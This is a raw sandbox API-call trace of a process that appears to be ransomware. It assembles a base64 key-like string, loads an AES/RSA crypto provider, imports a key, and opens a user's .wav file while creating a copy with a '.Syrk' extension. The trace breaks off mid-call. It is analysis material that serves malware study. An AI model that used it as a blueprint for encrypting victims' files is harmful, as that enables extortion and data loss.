[0243.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0243.998] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.998] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0243.998] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.998] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.998] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0243.998] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.998] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.998] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0243.999] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.999] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0243.999] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.999] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0243.999] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.999] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.000] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.000] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.000] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.000] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.000] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.000] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.000] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.000] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.000] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.000] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.001] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.001] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.001] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.002] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.002] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.002] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.002] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.002] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.002] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.002] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.003] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.003] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.003] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.003] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.003] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.003] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.004] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.004] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.004] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.004] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.006] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.006] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.006] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.006] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.007] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.007] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.007] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.007] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.007] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.007] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.008] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.008] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.008] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.008] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.008] SystemFunction041 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.009] SystemFunction040 (in: Memory=0x5c9b464, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b464) returned 0x0 [0244.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.009] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.010] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.010] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.010] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.010] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.010] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.011] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.011] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.011] EtwEventActivityIdControl () returned 0x0 [0244.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.011] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.011] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0244.013] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0244.015] CryptImportKey (in: hProv=0x5c4d320, pbData=0x24f5d10*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99660) returned 1 [0244.015] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.016] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.016] EtwEventActivityIdControl () returned 0x0 [0244.016] EtwEventActivityIdControl () returned 0x0 [0244.016] EtwEventActivityIdControl () returned 0x0 [0244.022] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 0x20 [0244.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 0x20 [0244.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.024] EtwEventActivityIdControl () returned 0x0 [0244.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.024] EtwEventActivityIdControl () returned 0x0 [0244.024] EtwEventActivityIdControl () returned 0x0 [0244.024] EtwEventActivityIdControl () returned 0x0 [0244.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.025] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.026] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.026] GetFileType (hFile=0x454) returned 0x1 [0244.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.026] GetFileType (hFile=0x454) returned 0x1 [0244.026] EtwEventActivityIdControl () returned 0x0 [0244.027] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.027] EtwEventActivityIdControl () returned 0x0 [0244.027] EtwEventActivityIdControl () returned 0x0 [0244.027] EtwEventActivityIdControl () returned 0x0 [0244.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0244.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", lpFilePart=0x0) returned 0x26 [0244.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.028] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav.syrk"), 